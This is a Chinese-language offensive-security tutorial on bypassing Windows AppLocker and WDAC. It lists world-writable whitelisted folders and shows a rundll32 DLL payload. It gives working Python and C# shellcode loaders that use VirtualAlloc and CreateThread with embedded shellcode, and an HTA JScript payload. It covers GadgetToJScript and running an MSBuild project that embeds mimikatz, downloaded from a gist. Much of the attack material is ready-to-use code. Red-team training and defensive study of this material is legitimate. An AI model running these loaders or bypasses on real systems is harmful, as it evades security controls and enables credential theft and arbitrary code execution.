# 应用程序白名单

无论是试图获得初始 Beacon 会话，还是对目标用户与主机进行后渗透操作，应用程序白名单作为一项安全控制机制，会阻止我们的行动。接下来，我们来探讨 AppLocker 的概念，与其绕过技术。

#####   


### **AppLocker**

AppLocker 是 Microsoft 的应用程序白名单技术，自 Windows 7 开始引入。AppLocker 可以限制允许在系统上运行的**可执行文件**、**脚本**、**安装包**、**打包程序**以及 **dll**，并且可以配置**启用**或**仅审计**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/xa6VTViWr7NHj04W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/xa6VTViWr7NHj04W-image.png)

如果一个类别被启用了，那么该类别的规则会被适用，每个类别都有各自的默认规则。默认规则下对于 exe 文件而言，任何在 **Program Files**文件夹下的可执行文件不受影响，**Windows** 文件夹下的可执行文件不受影响，以及**管理员用户 (提升特权)**不受影响。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6hljIgHzjF2wUw9Z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6hljIgHzjF2wUw9Z-image.png)

此外，我们还可以添加**自定义规则**，以及**基于拒绝**的规则，也就是不允许特定应用被执行。基于拒绝的规则可用于覆盖基于允许的规则，这些规则通常用于阻止 **LOLBAS**，例如 **MSBuild.exe**。

我们在 File01 上查看现有的 exe 规则：

```powershell
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe\
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/tUNbL58iYbob0rDB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/tUNbL58iYbob0rDB-image.png)

以及现有的脚本规则：

```powershell
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Script\
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ylLG8VCZOJsJafhy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ylLG8VCZOJsJafhy-image.png)

### **绕过AppLocker**

##### **利用脆弱规则**

如果管理员采用了默认的 AppLocker 规则，那么我们可以轻易地绕过 AppLocker。对于可执行文件的分类，默认规则允许 **C:\\Windows** 目录下的文件被执行。在默认的文件权限下，例如 **C:\\Windows\\Tasks**，**C:\\Windows\\Temp** 目录是所有用户可写的。更加完整的列表如下：

```
c:\windows\system32\microsoft\crypto\rsa\machinekeys
c:\windows\system32\tasks_migrated\microsoft\windows\pla\system
c:\windows\syswow64\tasks\microsoft\windows\pla\system
c:\windows\debug\wia
c:\windows\system32\tasks
c:\windows\syswow64\tasks
c:\windows\tasks
c:\windows\registration\crmlog
c:\windows\system32\com\dmp
c:\windows\system32\fxstmp
c:\windows\system32\spool\drivers\color
c:\windows\system32\spool\printers
c:\windows\system32\spool\servers
c:\windows\syswow64\com\dmp
c:\windows\syswow64\fxstmp
c:\windows\temp
c:\windows\tracing
```

将计算器程序复制到用户目录下，用户目录不在默认规则的白名单中，因此应用的执行会被 AppLocker 阻止。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/NtwXM6NbRLPhHoKA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/NtwXM6NbRLPhHoKA-image.png)

但当我们将程序复制到一可写的白名单中，便绕过了 AppLocker 的限制。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/3V3qURkyZTER0GGg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/3V3qURkyZTER0GGg-image.png)

##### **执行 DLL 载荷** 

AppLocker 中 DLL 分类在**高级**页面，因为配置基于 DLL 分类的规则需要更加仔细与慎重，否则会**影响系统性能**以及**遭遇异常**。因此，DLL 分类往往不会被配置。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6jLm7qZXXqSKqFK1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6jLm7qZXXqSKqFK1-image.png)

这时候，我们可以编译或生成一个 DLL 载荷，然后通过 **rundll32** 二进制来执行。下述代码是通过 DLL 来调用 **MessageBoxA** API。

```c++
#include "pch.h"
#include "windows.h"
#include "stdlib.h"
#include <stdio.h>



extern "C" __declspec(dllexport) void msg_export()
{
    MessageBoxA(NULL, "From export function", "Message", MB_OK);
}


void msg_dllmain()
{
    MessageBoxA(NULL, "From DllMain", "Message", MB_OK);
}


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        msg_dllmain();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

导出函数 msg\_calc 可被外部调用，自然可以绕过 AppLocker。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/13zMfBv0Kaj2ZXDX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/13zMfBv0Kaj2ZXDX-image.png)

##### **第三方执行**

AppLocker 仅适用于**原生 Windows 可执行文件类型**，对于 **Python**，**Java** 等第三方脚本引擎或者高级语言执行环境，没有控制效果。例如，我们可以使用 Python 类型的后利用工具进行操作。例如 Python 工具 pypykatz 实现了 Mimikatz 中的绝大多数功能，Impacket 系列工具更是在 AD 攻击与利用中彰显强大功能。

File01 上安装了 Python 语言，并且所有用户都可以运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/TXTkzufg5kOtrZNu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/TXTkzufg5kOtrZNu-image.png)

以下述的 Shellcode 运行器为例，Shellcode 内容为弹出 calc.exe 程序。

```python
import ctypes, struct


shellcode =     b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51"
shellcode +=    b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
shellcode +=    b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72"
shellcode +=    b"\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
shellcode +=    b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
shellcode +=    b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
shellcode +=    b"\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
shellcode +=    b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
shellcode +=    b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
shellcode +=    b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
shellcode +=    b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode +=    b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
shellcode +=    b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode +=    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
shellcode +=    b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
shellcode +=    b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
shellcode +=    b"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48"
shellcode +=    b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d"
shellcode +=    b"\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5"
shellcode +=    b"\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
shellcode +=    b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode +=    b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
shellcode +=    b"\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

shellcode=bytearray(shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
```

在 File01 上以 john 用户运行该 Shellcode 运行器脚本，计算器成功弹出，整个过程并没有收到 AppLocker 影响。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BRUYh7Lr9gbHM72B-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BRUYh7Lr9gbHM72B-image.png)

#####   


##### **HTA**

hta 也是客户端攻击中常用的载荷类型，hta 文件的内容与 html 无异，只是默认由 **C:\\Windows\\System32\\mshta.exe** 执行。因为 mshta.exe 是微软签名的应用程序，因此不受 AppLocker 限制。我们可以将自定义的 **JScript 代码**嵌入到hta文件中，以绕过AppLocker。

能运行 calc.exe 程序的简易 hta 载荷如下：

```html
<html> 
<head> 
<script language="JScript">
	var shell = new ActiveXObject("WScript.Shell");
	var res = shell.Run("calc.exe");
</script>
</head> 
<body>
<script language="JScript">
	self.close();
</script>
</body> 
</html>
```

但我们还能获得更多的自由度。**GadgetToJScript** ([https://github.com/med0x2e/GadgetToJScript](https://github.com/med0x2e/GadgetToJScript)) 是一款能生成**序列化的 .NET gadget**，当使用 **BinaryFormatter** 从 **JS/VBS/VBA** 脚本进行反序列化时，可以触发 **.NET** 组件的加载或执行。这些 gadget 组件的输出可用于 **Office 的宏载荷**，以及我们当前讨论的 **hta 载荷**。

编辑 **TestAssembly** 项目的 **Program.cs** 文件，弹出计算器的 Shellcode 运行器参考代码如下：

```c#
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace TestAssembly{
    public class Program{

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public Program(){
            byte[] buf = new byte[] {   
            0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
            0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
            0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
            0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
            0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
            0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
            0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
            0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
            0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
            0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
            0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
            0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
            0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
            0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
            0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
            0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
            0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
            0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
            0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
            0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
            0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00};
            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

```

编译 **GadgetToJScript** 以及 **TestAssembly**，然后运行 GadgetToJScript.exe 根据 TestAssembly.dll 以及其他选项生成 hta 载荷。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/MBS05ICMNNe7XG0R-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/MBS05ICMNNe7XG0R-image.png)

最终，我们可以通过 mshta 绕过 AppLocker 实现任意代码执行。因为在 C# 中我们可以自由调用 API，因此十分灵活。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/XyZ3s7GURVlkKqht-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/XyZ3s7GURVlkKqht-image.png)

##### **LOLBAS**

LOLBAS，即 **Live Off The Land Binaries, Scripts and Libraries** ([https://lolbas-project.github.io/](https://lolbas-project.github.io/))，是系统内置的可以为我们所用的**二进制文件**、**脚本**、**库**。LOLBAS 的优势在于，因为被微软签名，所以不会被 AppLocker 限制，用于其他方面也可以降低被检测的概率。为了突破 AppLocker，我们使用 **MSBuild.exe**。该文件用于**编译 .NET 工程文件**，但实际上还有更多用途，例如**执行 PowerShell 命令**，**注入 shellcode**，甚至**执行 PE 文件**。我们以 mimikatz.exe 为例，从 [https://gist.githubusercontent.com/xenoscr/aba102e5f83d3be26b1fe50b15f35c49/raw/04d7da8a72b00fb08e4c5bbd713a041ea2567443/Katz.Proj](https://gist.githubusercontent.com/xenoscr/aba102e5f83d3be26b1fe50b15f35c49/raw/04d7da8a72b00fb08e4c5bbd713a041ea2567443/Katz.Proj) 下载嵌入了 mimikatz.exe 的工程文件，然后用 MSBuild.exe 在 AppLocker 原本限制的文件夹下编译该工程文件，我们会发现可以成功运行 mimikatz。因为工程文件中可以插入 C# 代码，所以 MSBuild.exe 可以在AppLocker 存在的情况下也能很大程度满足我们对后利用操作的需要。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1q143hvjYfvJF2RH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1q143hvjYfvJF2RH-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/vBQMPaJ2I99tkrj1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/vBQMPaJ2I99tkrj1-image.png)

其实该工程文件中的 C# 代码实现了**反射式加载** (在内存中加载非托管 DLL 甚至 EXE 文件，该话题我会之后补充)，只不过将 mimikatz.exe 程序以 Base64 字符串的形式嵌入在文件中，而不是从远程服务器上拉取，或者从磁盘中读取。


### **WDAC**

Windows Defender 应用程序控制，即 WDAC，从 Windows 10 开始引入。其作用类似于 AppLocker，但有一些关键区别，其中最重要的是微软承认 WDAC 是官方的安全边界。这意味着 WDAC 更加强大，如果发现绕过 WDAC 的方法，可以获得 CVE 编号。

WDAC 可配置的规则如下：

```
用于签署应用程序及其二进制文件的协同签名证书的属性
来自文件签名元数据的应用程序二进制文件的属性，例如原始文件名和版本，或文件的哈希值
应用程序的声誉由
启动应用程序及其二进制文件安装的进程标识（托管安装程序）
启动应用程序或文件的路径
启动应用程序或二进制文件的进程
```

从根本上绕过 WDAC 是不存在的，但我们可以寻找**配置和策略上的漏洞**，以及**对 LOLBAS 的利用**，我们可以在 [https://github.com/bohops/UltimateWDACBypassList](https://github.com/bohops/UltimateWDACBypassList) 查看可能导致 WDAC 绕过的手册。

</body></html>